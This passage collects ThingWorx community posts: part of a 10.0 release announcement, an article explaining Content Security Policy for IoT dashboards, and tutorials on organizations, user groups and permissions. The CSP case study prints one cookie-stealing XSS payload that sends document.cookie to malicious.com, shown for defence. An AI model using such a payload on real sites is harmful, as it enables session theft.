earlier releases, delivering even stronger security, visibility, and scalability for Remote Service Engineers and ThingWorx Administrators. Engineers, who often operate behind proxies, now have an easier and more secure way to configure proxy settings for remote access.   Administrators benefit from enhanced remote session metrics, allowing them to better track and associate sessions with specific work orders. Additionally, improved tunneling support enables more scalable Remote Access Sessions, meeting the needs of advanced customer environments. These updates reinforce the security and manageability improvements first introduced in previous versions and take another step toward streamlining remote access management and enhancing scalability across the ThingWorx ecosystem.   Additional Third Party Stack Support Updates   With ThingWorx 10.0, we’re expanding compatibility across databases, middleware, and runtime environments to offer greater flexibility, security, and performance. These updates help organizations modernize their infrastructure while ensuring seamless integration with the latest technologies. Here’s a summary of the new supported platforms:   Category Sub-Category Supported Version Persistence Providers PostgreSQL v16.X v15.X v14.X   Microsoft SQL Server v2022.X   Azure DB for PostgreSQL Flex server v16.X v15.X v15.X   Azure SQL DB  v12.X   InfluxDB v1.11.X v2.7.X Operating System Windows and Linux Windows Server 2022 RHEL 8.10 and 9.4 Ubuntu 22.04.X   NOTE: Please refer to the Release Advisor as the single source of truth for the most accurate and up-to-date information.   PTC’s Commitment to Security and Innovation   At PTC, security is at the core of everything we do. Every product is built with a “security-first” mindset, ensuring that robust protection is woven into our development processes, architecture, and deployment practices. Our commitment is backed by a comprehensive Secure Development Lifecycle (SDLC) that includes advanced security practices such as SAST/DAST, secure coding standards, proactive vulnerability management, and rigorous penetration testing. These practices are designed not only to protect against known threats but also to continuously evolve with emerging risks. In addition, our shared security model clearly delineates the responsibilities between PTC and our customers, ensuring clarity and accountability in every deployment.   Our internal security policies and processes are a testament to our commitment:   Secure Development Lifecycle (SDLC): Static and Dynamic Analysis: We integrate Static Application Security Testing (SAST) and Dynamic Application Security Testing (DAST) throughout our development cycle. Vulnerability Management: Continuous scanning and timely updates for third-party libraries ensure that any potential vulnerabilities are swiftly identified and addressed. Penetration Testing: Both internal and external penetration tests are conducted periodically to uncover and mitigate risks. Compliance and Governance: We align our practices with industry standards such as ISO 27001 and GDPR, ensuring our products meet stringent regulatory requirements. A comprehensive set of deployment guides and configuration checklists helps maintain a secure environment throughout the product lifecycle. Training and Secure Design: Our teams are well-trained in the latest security methodologies through ongoing training initiatives, including role-based training sessions and tech talks. Security release criteria, threat modeling, and secure coding practices are integral to our product design. Secure Deployment Hub: Customers can always visit our Secure Deployment Hub to ensure any of the ThingWorx environment is deployed following best practices for maximum security and resilience not just ThingWorx 10.0.   These efforts not only strengthen the security of our products but also reassure our customers that each release is built with rigorous security standards at its core. They reflect just a portion of our broader commitment to proactive security, and we’re proud to be the trusted platform that enterprises rely on. The ThingWorx 10.0 preview release is now available for evaluation! This powerful, secure, and intelligent IoT platform is designed to elevate your industrial operations to the next level. To join the Private Preview Program, reach out to your account rep or customer success team. You can also comment on this post or submit a Tech Support ticket, and we’ll follow up to get you started. Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx 10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>  

Introduction    As the Internet of Things (IoT) continues to grow, securing web applications and connected devices is more critical than ever. Content Security Policy (CSP) is a security feature that helps protect IoT applications from malicious threats by controlling which resources—such as scripts, styles, and images—can be loaded and executed in a browser. This article explores what CSP is, the types of attacks it prevents, its role in securing IoT applications, the most common CSP directives used for enhanced security, and a real-world case study demonstrating CSP in action.    What is Content Security Policy (CSP)?    Content Security Policy (CSP) is a web security standard designed to reduce the risk of security vulnerabilities such as Cross-Site Scripting (XSS), data injection, and clickjacking by enforcing strict content-loading policies within web applications. It allows developers to specify which domains are permitted to execute scripts, load images, fetch data, and render styles, ensuring that only trusted sources can interact with the application.    How CSP Works    CSP works by defining security policies through HTTP headers or <meta> tags in the HTML document. These policies restrict the sources from which the browser can load various types of content, including JavaScript, CSS, and images. By doing so, CSP helps prevent unauthorized code execution and ensures that applications only interact with pre-approved content providers.    Why CSP is Essential    In an era where cyber threats are becoming more sophisticated, CSP plays a crucial role in securing web applications by:  Blocking Malicious Scripts: Prevents the execution of unauthorized JavaScript injected by attackers.  Preventing Data Exfiltration: Stops malicious code from sending sensitive user or device data to untrusted servers.  Mitigating Clickjacking: Restricts embedding in iframes to prevent deceptive UI attacks.  Enforcing Trusted Sources: Ensures that all resource requests originate from approved locations.    Types of Attacks Prevented by CSP    CSP acts as a defense mechanism against several types of web security threats, including:    a. Cross-Site Scripting (XSS)  Attackers inject malicious JavaScript into a web page to steal sensitive information, manipulate content, or perform unauthorized actions on behalf of the user.  CSP prevents XSS by restricting the execution of inline scripts and untrusted third-party JavaScript.    b. Clickjacking  Attackers trick users into clicking hidden elements (e.g., disguised buttons or links) within an iframe, potentially leading to account hijacking or unintended actions.  CSP helps mitigate clickjacking by enforcing the frame-ancestors directive, which controls who can embed the application in an iframe.    c. Data Injection Attacks  Attackers inject malicious content into an application, leading to data leaks, corrupted transactions, or manipulated IoT device responses.  CSP limits data injection risks by restricting content sources and enforcing secure policies   d. Mixed Content Attacks  When a secure HTTPS site loads insecure HTTP resources, attackers can intercept or modify the content.  CSP prevents mixed content vulnerabilities by enforcing policies that allow only secure content to be loaded.    Role of CSP in Securing IoT Applications    IoT applications often involve web-based dashboards, real-time analytics, and device interactions, making them attractive targets for cyber threats. CSP plays a crucial role in strengthening security by:    a. Restricting Untrusted Content  IoT platforms often load content dynamically from various sources, including APIs, third-party libraries, and external services. Without CSP, attackers can inject malicious scripts into these data streams, compromising the integrity of IoT dashboards. By defining strict CSP policies, developers can ensure that only pre-approved content sources are allowed.    b. Preventing Unauthorized Data Access  Many IoT applications handle sensitive data, such as real-time sensor readings, user credentials, and system logs. Attackers may attempt to inject malicious scripts that exfiltrate this data to external servers. CSP prevents such unauthorized access by blocking script execution from untrusted origins and preventing cross-origin data leaks.    c. Strengthening Access Control  In IoT ecosystems, multiple users, devices, and services interact with web applications. Without strict access controls, attackers can exploit weak points to execute unauthorized commands or alter data. CSP helps enforce access control by limiting the execution of scripts and API requests to verified sources, ensuring that only authenticated and authorized entities can interact with the system.    d. Minimizing Third-Party Risks  Many IoT applications integrate with third-party analytics tools, mapping services, and external widgets. If these third-party services are compromised, they can introduce vulnerabilities into the IoT ecosystem. CSP allows developers to whitelist only trusted third-party services, reducing the risk of supply chain attacks.    Common CSP Directives for Enhanced Security    To maximize security, developers should implement the following key CSP directives:  default-src: Defines the default source for all types of content (scripts, images, styles, etc.).  connect-src: Governs network requests (e.g., API calls, WebSockets, IoT data exchanges).  font-src: Specifies trusted sources for web fonts.  frame-ancestors: Prevents clickjacking by restricting which domains can embed the application in an iframe.  frame-src: Controls the sources from which iframes can be loaded.  img-src: Specifies trusted sources for loading images.  media-src: Defines allowed sources for media files like audio and video.  object-src: Restricts the sources from which plugins (e.g., Flash, Java applets) can be loaded.  script-src: Controls which sources are allowed to execute JavaScript.  style-src: Restricts the sources for CSS stylesheets.  worker-src: Defines the sources allowed to create web workers and service workers.  By defining a least-privilege CSP policy, developers can significantly reduce the attack surface and protect IoT applications from evolving cyber threats.    Case Study: Preventing an XSS Attack in an Industrial IoT Platform    Scenario:    A manufacturing company uses an Industrial IoT (IIoT) platform to monitor real-time sensor data from its factory machinery. The platform provides a web-based dashboard where engineers can track machine performance, predict failures, and configure alerts.    Attack Attempt:    An attacker exploits a form input field used for naming machines and injects the following malicious script:    <script>fetch('https://malicious.com/steal?data='+document.cookie);</script>    Since the platform lacks CSP enforcement, this script executes within the engineers’ browsers, stealing session cookies and granting unauthorized access to the attacker.    How CSP Prevented the Attack:    By implementing a CSP policy that restricts script execution to trusted sources, the attack is neutralized. The following CSP directive is applied:    Content-Security-Policy: script-src 'self' https://trusted-scripts.com;    This prevents unauthorized script execution, ensuring that malicious scripts injected by attackers do not run within the IIoT platform. As a result, the IIoT system remains secure, preventing attackers from compromising sensitive factory data or disrupting production operations.    Conclusion    Content Security Policy (CSP) is a fundamental security measure for modern web applications, particularly those operating in IoT environments. By understanding CSP, recognizing the threats it mitigates, and implementing the most effective directives, developers can ensure a more secure and resilient application framework.    CSP support has been introduced in ThingWorx versions 9.3.15, 9.4.5, 9.5.1, and 9.6.0. In the initial release, this feature will be disabled by default, and cloud customers will need to contact the support team to request activation, as it will not be enabled by default. The current implementation establishes a foundation that facilitates future out-of-the-box (OOTB) enablement of CSP in subsequent releases.   For more information on implementing the Content Security Policy, kindly refer to ThingWorx Help Center   Vineet Khokhar Principal Product Manager, IoT Security   Stay tuned for more updates as we approach the release of ThingWorx v10.0, and as always, in case of issues, feel free to reach out to <support.ptc.com>   

  Setup methods and schemes to secure your data   Guide Concept   Securing data is often something thought of after an application is designed. It should always be the first and more important.   These concepts and steps will allow you to focus on development of your application while still allowing the ability to utilize the power of ThingWorx!   We will teach you how to design a secure environment and application from scratch     You'll learn how to   How to design and implement organizations and organization sections Creating secure User Groups with specific goals Limit access to resources   NOTE:  The estimated time to complete this guide is 30 minutes     Step 1: Examples and Strategy   If you’d like to skip ahead, download and unzip the completed example of the Aerospace and Defense learning path: AerospaceEntitiesGuide1.zip. Import the .twx files included.   In an ever-changing world, you are going to need to protect everything that is considered private. This includes your data, the data people provide you, and the resources you consider important. All of this can be done using the ThingWorx environment. ThingWorx provides a system for security that can be configured endlessly. There is the security being handled at the server level internally and with Apache, in which you have access to. The security being handled in the ThingWorx Composer, which you can customize. Lastly, there is the security you provide at the client side for users accessing your application or system.   Let us start working on securing our system before we add extra users and workers. First, we will create and organization and organization levels within our agency to help designate access. We will create the security access to the ThingWorx Composer, which is where our data will be held for now in this learning path. We will then create access levels for internal employees, including administrators, developers, and workers based on security clearance levels.     Step 2: Setup Organizations and Departments   Creating Our Organizations   If you need a refresher on how to create security groups and permissions, take a look back at our Configure Permissions Guide. If you are ready to get started, follow the instructions below:   1.  In the ThingWorx Composer, click the + New button in the top left.    2. In the dropdown list, click Organizations.      3. In the Name field, give our agency name, such as PTCDefenseDepartment.   4. Set the Project field to an existing Project (ie, PTCDefaultProject) and click Save to save your work. 5. Go to the Organization tab and you will see the beginning of our Organization.     Creating Our Departments    Let us add some departments in our Organizations. We will add a few here but add as many as you like. Just keep in mind, these departments do not need to match every department in the actual Organization. These departments will be used for access to different resources.   1. Click on the first unit and update the Name field to DefenseDepartment. Click the check mark to save your changes.   NOTE: You can add the spaces if it looks better to you. You will be using these departments throughout this learning path. You can also change these later.   2. Under our first unit (DefenseDepartment), click the green + button. Name this unit HumanResources.     3. Repeat the last step to create three more departments under our DefenseDepartment unit. Name these new units Agents, Visitors, and IT.   4. Under the Visitors unit, click the green + button to add a unit and name it Applicants.     5. Repeat the last step to add one more unit under the Visitors unit. Name this group OtherAgencies. Your setup should have the following departments.      You now have a complete start to our agency. What does that mean exactly? An Organization allows us to limit resources to only members of that overall Organization or specific unit within that Organization. You will get firsthand experience as we move further in this guide.    Let us create our Security Groups to those that will absolutely need it. This is a big decision point into how you would like to do this and there is no truly wrong answer. Will each user for this application or utility have their own User account in ThingWorx or share User accounts based on usage? Will you grant access to this application through LDAP, database verification, or a Create An Authentication Extension. The list of questions into what is supported for authentication in ThingWorx is almost endless.     Step 3: Setup Users and User Groups   Creating User Groups and Users   For simplicity and timing, we will create a User Group and User for each department (be mindful of the number of allowed Users in the ThingWorx version you are using). We will also create a super user account that will provide us with full access. Finally, we will need to create an extra User Groups for ThingWorx Composer access.     First, User Groups   1. In the ThingWorx Composer, click the + New at the top left of the screen.     2. Select User Groups in the dropdown.     3. Name the User Group Agency.ComposerAccess.     4. Set the Project field to an existing Project (ie, PTCDefaultProject) and click Save. 5. Repeat steps 1-4 to create a User Group for each department (Agency.HumanResources, Agency.Agents, Agency.Visitors, Agency.Applicants, Agency.OtherAgencies, and Agency.IT).   Now, Users   1. In the ThingWorx Composer, click the + New at the top left of the screen.     2. Select User in the dropdown.     3. Name the User User.AgencySuperUser and add a password.     4. Set the Project field to an existing Project (ie, PTCDefaultProject) and click Save. 5. Repeat steps 1-4 to create a User for each department (User.HumanResources, User.Agents, User.Visitors, User.Applicants, User.OtherAgencies, and User.IT).   Adding Members to User Groups   Assign each user to the corresponding User Group using the below instructions.   1. Open the Agency.HumanResources User Group.  2. Click on the Manager Members tab.     3. Filter and select the User you want to add in the Available Members section. In this case, User.HumanResources. 4. Click the arrow on that User’s row or drag and drop the User to the Members section.      5. Click Save. 6. Repeat steps 1-5 for each department User Group you created earlier with their corresponding User.   We should have an extra User Group (Agency.ComposerAccess) and an extra User (User.AgencySuperUser). We will utilize these Entities below. For now, only our IT department needs access to the ThingWorx Composer.   1. Open the Agency.ComposerAccess User Group.  2. Click on the Manager Members tab.     3. Filter and select the User Group you want to add in the Available Members section. In this case, Agency.IT. 4. Click the arrow on that User’s row or drag the User to the Members section.      5. Click Save.   Our super user will need top level access to everything in ThingWorx. To do this, we will add the User to the Administrators User Group.   1. On the left-hand side of the ThingWorx Composer, click Browse. 2. Click on User Groups on the left panel.     3. At the top of the screen, click the filter button near the search bar. 4. Check the checkbox for Show System Objects and click Apply.     5. Filter and select the Administrators User Group.    6. Click on the Manager Members tab.     7. Filter and select the User you want to add in the Available Members section. In this case, User.AgencySuperUser. 8. Click the arrow on that User’s row or drag the User to the Members section.    9. Click Save.     Step 4: Setup Permissions   Setting Bulk Permissions   1. On the left panel, select Permissions.   2. Click Collections on the menu that appears.     3. Select the checkbox at the top to select all available Entities then click Edit Permissions.     4. On the Visibility tab, click the + button in the Search Organizations filter. 5. Enter PTCDefenseDepartment and click the expand arrows to select the IT department. A more granular Visibility level can be set on the specific Entities when created later in this learning path.     6. Select the Design Time tab. 7. Enter Agency.ComposerAccess in the search bar and select the Agency.ComposerAccess User Group.   8. Select the check marks for Create, Read, Update, and Delete. A more expansive design for a production environment would create more Users and User Groups to have such access.     9. Set the permissions for the other groups we have created to not allow any Create, Read, Update, and Delete permissions for groups outside of Agency.ComposerAccess and Agency.IT. It should look like the below configuration.     10. Set the same permissions in the Run Time tab for the User Groups we have created.     11. Click Save.   Now, if you log into the ThingWorx Composer using any account other than our super user account or the User.IT account, you’ll see that you may be able to see Entities, but you cannot open them. You will see an unauthorized popup. If you have access to a browser with a Private or Incognito mode, use it instead of logging out of your Administrator account.     Click here to view Part 2 of this guide.

  Learn how to create or update your system to be more secure   GUIDE CONCEPT   ThingWorx allows for a layer of security within your company or organization to be utilized for authentication and user management.   These concepts and steps will allow you to focus on development of your application while still allowing the ability to utilize the power of ThingWorx!   We will teach you how to enable and configure ThingWorx to perform your security needs.   YOU'LL LEARN HOW TO   Securing data and private information Use services, alerts, and subscriptions to handle processes without human interaction Handling group and organization permissions   NOTE:  The estimated time to complete this guide is 60 minutes.     Step 1: Examples and Strategy   Download the attached FoodIndustry.zip users and extract/import the contents. These are to be used as you work through this learning path. For the completed example, download FoodIndustryComplete.zip.   In this tutorial we continue with our real-world scenario for the Fizos food company. We already have our factory data, automated cooking processed for our sausage product lines, and an automated process for picking up and delivering goods. What we need now is to ensure our organization, security groups, and data is truly secure. Having security permissions at each level and each type of entity involved with our company enables us to have full control over every aspect.   Setting Up Organizations   Organizations are hierarchical structures that allow the user to assign visibility to entities in the ThingWorx Model. This model provides the top down structure from the highest level in an organization or department, to the lower levels of said entity. Each level within this structure also allows for users and groups to be added. This provides a greater level of customization to resources within the ThingWorx Composer.   We will not only create an organization that represents Fizos, but we will have membership in the organization to represent partners, external users, guests, etc. With this level of granularity, we have more control over what is happening at each level.   In the ThingWorx Composer, click the + New at the top of the screen.   Select Organization in the dropdown. Name your Organization Fizos.  Set the Project field (ie, PTCDefaultProject). Click Save   Select the Organization tab to see the hierarchy. Select Unit 1 in the middle of the canvas. Update the Name field to Company and save your changes.   Create Additional Organization Units   Now let's add a node for Employees, Interfaces(APIs), Partners, Customers, Guests, and other groups we might consider important.   Click the green + under the structure you would like to expand. Name your Organization unit Employees. Click Save. We won't add groups as yet. We will do that in the following sections.   Repeat the steps to create the full top level units. It should look similar to the following: We now have the starting structures for Fizos. Next, we will need to add security groups and more units.       Step 2: Creating Security Groups   In many IoT solutions there will be a large scale of users using the system. Because of this it doesn’t make sense to manually set the permissions of every user added to the system. This is why we created User Groups. User Groups provide a role-based approach to permissions and exist to give similar users the same permissions across multiple entities on the platform. User groups set permissions exactly the same way as users do (see next section), but you can simply add a user to a user group in order to set permissions at scale.   Creating a user group such as Fizos.External.SecurityGroup would allow you to have a group with no design time permissions, but allow run time permissions for specific aspects of your solution such as reading product pricing from a service. Similarly you could create a user group called Fizos.Developers.SecurityGroup (under the Employees unit) who would have design time and run time permissions to work on your solution.   Create Security Groups   In the ThingWorx Composer, click the + New at the top of the screen.   Select User Group in the dropdown. Name your group Fizos.Partners.SecurityGroup. Set the Project field with an existing Project (ie, PTCDefaultProject). Click Save.   Repeat these steps to create more user groups for each of the top level units we created in the last section (Customers, External, Interfaces, Employees). We can also add in some groups from the companies we listed as customers and partners earlier in this learning path. Below is an example of all the groups I created for this example:   NOTE: Individual user permissions will override group user permissions. In other words, if you initially add a user to a group so they inherit the permissions of the group, you will still be able to customize permissions for an individual user in that group as needed.   Default User Groups   The platform has a few user groups included in the platform by default. These are used to set up common roles that are often associated with using the platform and have built in permissions. These groups are not meant to be used when creating new applications or general permissions.   Step 3: Configuring Permissions   These permissions can be accessed on any entity created on the platform. All entities have permission control for both design time and run time. Permission Time Control Design time Controls what users are able to do with entities themselves while building the solution. Run time Controls what the users are able to do with the data for an entity when they use the solution. Permission Type Description Property Read Read property values Property Write Update property values Service Execute Execute Services in this Entity Event Execute Queue or fire Events in this Entity Event Subscribe Ability to subscribe to Events in this Entity Access Type Description Allow Allow the user's access to this feature. Deny Deny the user's access to this feature. Inherit Set the user's access to this feature based on permissions in Entities this Entity is based on or the configurations at a higher level.   Add Permissions for an Entity   Once an entity has been selected for editing, select the Permissions tab. Based on what you would like to edit, select the Design Time or Run Time tab.   The All Properties, Services, and Events section provides blanket security to all of these features for a group or user. The Property, Service, or Event Overrides section is used for any overrides that need to be made for specific features.   In the example blow, the User a.jones has the ability to read properties, fire events, and subscribe to events. The User does not have the ability to update a property or execute a Service. In the second section, a.jones is allowed to call the GetConfigurationTable Service (even though he was restricted from doing so in the other section).   To set a permission, filter and select a User/User Group. When their name is in the table, click the Permission Type you would like for this Entity. Default permissions are added to the User or User Group you filtered and selected. This will be full access permissions unless you've changed one of the fields.   Bulk Permissions Handling   When you would like to set the permissions to an entity in bulk, ie permissions for all Things, you can use the Collections option.   On the left hand side, click the lock. Click the Collections option under Permissions. Select the checkbox next to Things. Click Edit Permissions button. Now you will see the same interface you used above, except this time, it will be for all Things instead of a singular entity. You can use these permission settings to stop access to all of the entities you would not want an external user being able to see.   Bulk Permissions Reporting   When you would like to verify the permissions to an entity, ie permissions for all Fizos.Logistics, you can use the Access Report option.   On the left hand side, click the lock. Click the Access Report option under Permissions. Set the User or User Group. (in this case Fizos.VizosMeatMarket.SecurityGroup) Set the Entity (in this case Fizos.Logistics) Click Apply.     You will be able to see what this User Group has access to as it pertains to the Fizos.Logistics Entity. Try other Entities and User Groups.   Step 4: Next Steps   Congratulations! You've successfully completed the Securing Industry Data guide. In this guide, you learned how to:   Securing data and private information Use services, alerts, and subscriptions to handle processes without human interaction Handling group and organization permissions   If you wish to return to the learning path, click Complex and Automatic Food and Beverage Systems Learning Path   Learn More   We recommend the following resources to continue your learning experience: Capability Guide Build ThingWorx Solutions in Food Industry Build Design Your Data Model Build Implement Services, Events, and Subscriptions   Additional Resources   If you have questions, issues, or need additional information, refer to: Resource Link Community Developer Community Forum  

    Step 5: Limiting Composer Access   If you would like to limit a User even more, there are a few things you can do. Go back to the Administrator account and open one of the accounts we created, such as User.OtherAgencies, you will notice the Enabled and Locked checkboxes. Enabled allows you to set whether an account can be used in ThingWorx during runtime. Locked dictates whether an account can be logged into at all.     Suppose we would like for the user to only see emptiness when they try to access the Composer. Follow the below steps to limit ThingWorx Composer access even more.   1. Open one of the Users we created earlier, ie User.OtherAgencies and click on the User Profile tab.  The user profile configuration allows an administrator to control which categories and entities should be displayed for an individual User.     2. You will see various sections and checkboxes. Uncheck all of them to stop access to importing, exporting, creating new Entities, being able to see existing Entities, and much more.     3. Click Save.   Now if you attempt to log into the ThingWorx Composer, you will notice a very difference experience without the ability to see current Entities. Perform this update for all the Users we created, except for User.IT and User.AgencySuperUser.     Step 6: Creating Clearance Levels   ThingWorx does not include default security clearance levels for you. What it does include are Thing Groups. Thing Groups are a reference-able entity type in ThingWorx that allow for Things and Thing Groups as its members. They also provide ThingWorx administrators the ability to manage at scale exposure of Things to only those that require access.   Before we create out first Thing Group, let us create some Entities that will house resources. The first will be an image that is top secret (shown below). In ThingWorx, this would be of type Media. After, we will create a file repository that will contain super-secret documents, a repository for job applications, and another repository for documents that are publicly accessible.   Our Top Secret Image:     Create the Media Entity    Let us store our image in ThingWorx. This image will need extra credentials to access it. This authentication can be performed with a basic username/password setup or SSO utilizing your own configurations.   1.  In the ThingWorx Composer, click the + New button in the top left.    2. In the dropdown list, click Media.   3. In the Name field, use TopSecretImage.   4. Set the Project field to an existing Project (ie, PTCDefaultProject) and click Save. 5. Click Change and add an image or use the image above.     6. Click on the Configuration tab.     7. For the Authentication Type field, select basic. You can select other types based on your Single Sign On and server level configurations, but we will keep this scenario simple.     8. Set a Username and Password that would be used to access our top secret Media.     9. Click Save.   Create the File Repositories   Let us create the setup for our repositories.   1.  In the ThingWorx Composer, click the + New button in the top left.    2. In the dropdown list, click Thing.     3. In the Name field, use TopSecretDocuments and FileRepository as the Base Thing Template.     4. Click Save.  5. Repeat steps 1-4 to create two File Repositories titled JobApplications and PublicDocuments.     Security Levels and Resource Lockdown    We now have our several resources and areas for differing levels of access. We will create 3 Thing Groups to mimic security levels. Our top-secret image will exist independently on ThingWorx, but also inside of a file repository for some level of redundancy. That file repository will belong to one Thing Group, while the other two file repositories will have their own separate Thing Groups.   1. Open the TopSecretDocuments File Repository Thing.  2. Click on the Services tab.     3. Scroll down to the SaveImage and click the play button.      4. Enter a path (such as /SecretImage.png) for the image to reside on the server and click Change to add an image.     5. Click the Execute button.    You now have your image in a File Repository. Let us add this Entity to a Thing Group, then configure the permissions at the Thing Group level.   1.  In the ThingWorx Composer, click the + New button in the top left.      2. In the dropdown list, click Thing Group.     3. In the Name field enter Clearance.Top.     4. Set the Project field to an existing Project (ie, PTCDefaultProject) and click Save. 5. Click the Services tab and click the play button to execute the AddMembers Service.     6. Click on the members Input Info Table and click the + Add button.      7. Enter TopSecretDocuments as the name of the member and Thing as the type. 8. Click Add and Save. Set the Project field to an existing Project (ie, PTCDefaultProject).      9. With you members set, click Execute. 10. Repeat steps 1-9 to create two more Thing Groups and add the other File Repository Entities that we created earlier. Name these Thing Groups Clearance.Public and Clearance.HumanResources. If we wanted to, we could create a Thing Group to add here as a member of another Thing Groups’ hierarchy.   Thing Group Permissions    Time to set the permissions. With the Clearance.Top Thing Group selected, follow the below instructions. As mentioned before, in a production system, you would have more Users and User Groups to completely setup this scenario.   1. Click Permissions. 2. For Visibility, enter PTCDefenseDepartment into the filter.  3. Expand the Organization and select the Agents unit and click Save. 4. Click the Run Time tab. 5. Set the permissions for the Agency.Agents User Group to have full access as shown below:  6. Click Save.  7. Repeat steps 1-6 for our other security clearance Thing Groups. Set the permissions to a department and User Group that you see fit.     Step 7: Next Steps   Congratulations! You've successfully completed the Securing Resources and Private Data guide. In this guide, you learned how to:   Securing data and private information Use Services, Alerts, and Subscriptions to handle processes without human interaction Handling group and organization permissions   The next guide in the Utilizing ThingWorx to Secure Your Aerospace and Defense Systems learning path is Connecting External Databases and Model.    Learn More   We recommend the following resources to continue your learning experience:   Capability Guide Build ThingWorx Solutions in Food Industry Build Design Your Data Model Build Implement Services, Events, and Subscriptions   Additional Resources   If you have questions, issues, or need additional information, refer to:   Resource Link Community Developer Community Forum